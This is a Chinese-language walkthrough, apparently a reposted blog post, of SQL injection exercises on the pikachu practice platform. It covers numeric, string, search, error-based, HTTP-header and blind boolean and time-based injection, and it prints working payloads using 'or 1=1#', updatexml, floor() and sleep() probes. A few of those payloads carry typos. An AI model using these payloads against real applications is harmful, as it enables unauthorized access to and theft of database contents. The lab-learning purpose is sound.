pikachu練習平台(SQL注入 )


sql注入漏洞 危害是最大得

Sql注入

數據庫注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄露的一種漏洞。

 

Sql注入攻擊流程:

1.  注入點探測

自動方式:使用web漏洞掃描工具,自動進行注入點發現

手動方式:手工構造sql inject測試語句進行注入點發現

2.  信息獲取

通過注入點取得期望得到的數據

      1.  環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等

      2.  數據庫信息:數據庫名稱,數據庫表,表字段,字段內容(加密內容破解)

      3.  獲取權限       獲取操作系統權限:通過數據庫執行shell,上傳木馬

 

3.sql注入類型:   數字型  user_id=$id

           字符型 user_id='$id'

           搜索型  text like '%{$_GET['search']}'  "

 

select  字段1     from table  where  id=1  會顯示表中第一行信息

select  字段1     from table  where  id=1 or 1=1  會顯示表中所有信息

 

Get方式中使用url提交注入數據;

post方式中使用抓包工具修改post數據部分提交注入

注入方法可參考sqli-labs實驗方法:https://www.cnblogs.com/199904-04/p/12296733.html

 

一、SQL數字型注入(post)

選擇1,查詢;

 

 

 

進行抓包,並發送到repeater;

 

 

 

 

修改id為1 or 1=1 ,可以看到id全部列出;

 

 

 

 

查看源碼,這里post請求直接把id帶到SQL·語句中,沒有做任何處理,所以id這里存在sql注入漏洞;

 

 

 

 

 

 

 

 

二、SQL字符型注入(get)

輸入kobe,查詢;

 

 

 

 

因為是字符型的注入,我們可以使用做sqli-labs方法進行嘗試,加單引號、雙引號、括號、以及他們的組合,這里需要注意閉合后面注釋,我們輸入 kobe’ or 1=1#’ 

 

 

 

 

我們查看源碼,發現這里的變量是字符型,需要構造閉合;

 

 

 

 

 

 

 

三、SQL搜索型注入

查看源碼,可以發現需要構造閉合,且閉合需要有’%

 

 

 

 

 

在數據庫中查詢語句為 select username,id,email from member where username like '%$name%'

所以在這我們使用xxx% or 1=1#進行查詢;閉合成功,遍歷用戶所有信息;

 

 

 

 

四、SQLxx型注入

數據庫中查詢語句為select id,email from member where username=('$name')

則閉合為xx) or 1=1# 可遍歷用戶所有信息;

 

 

 

 

 

 

五、Insert/updata/delete注入(使用報錯注入)

 

 

 

 

 

 

 

 

基於insert/undata下的報錯

Ztt’or updatexml(1,concat(0x7e,database()),0)or ‘

基於delete下的報錯

1 or updatexml(1,concat(0x7e,database()),0)

基於floor()

Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#

 

 

 

基於delete下的報錯

1 or updatexml(1,concat(0x7e,database()),0)

先刪除一個留言,抓包,然后 發送到repeater;

 

 

 

 

看源碼可知id是一個數字型;

 

 

 

 

在repeater中修改id並轉碼;

 

 

 

 

在右邊的界面拉到最后就會有報錯信息的顯示

 

 

 

 

 

 

 

六、http頭注入

有時候后台開發人員為了驗證客戶信息(比如cookie驗證)或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等 會對客戶端的http header信息進行獲取並使用sql進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header 的sql inject漏洞。

 

admin 123456 登錄;

 

 

 

 

進行抓包,並發送到repeater,修改user-agent   

  firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

 

 

 

 

 

 

 

 

 

七、盲注

在有些情況下,后台使用了錯誤消息屏蔽方法(比如@)屏蔽了報錯,此時無法在根據報錯信息來進行注入的判斷,這種情況下的注入,稱為“盲注”;

 

盲注分為:based boolean

          Based time

 

 

based  boolean

表現:

1.沒有報錯信息

2.結果都只顯示兩種情況(0或1)

3.在正確的輸入下,輸入and 1=1/and 1=2可以判斷

 

輸入  Kobe’ and ascii(substr(database(),1,1))>113#

 

 

 

 

 

輸入 kobe' and ascii(substr(database(),1,1,))=112#  輸出正確;

 

 

 

 將database()換成

Select  table_name from information_schema.tables where table_schema=database() limit 0, 1

 

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)

,1,1,))>112#   也是可以的

 

 

 

 

Based time

 

kobe’ and sleep(5)#   頁面會停頓5秒

 

通過這個可以判斷構造語句是否正確

 

kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#

猜測第一個字符是否是a (a-z)

 

 

 

 我們可以將database()換成select  table_name from information_schema.tables where table_schema=database() limit 0, 1 也是可以的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM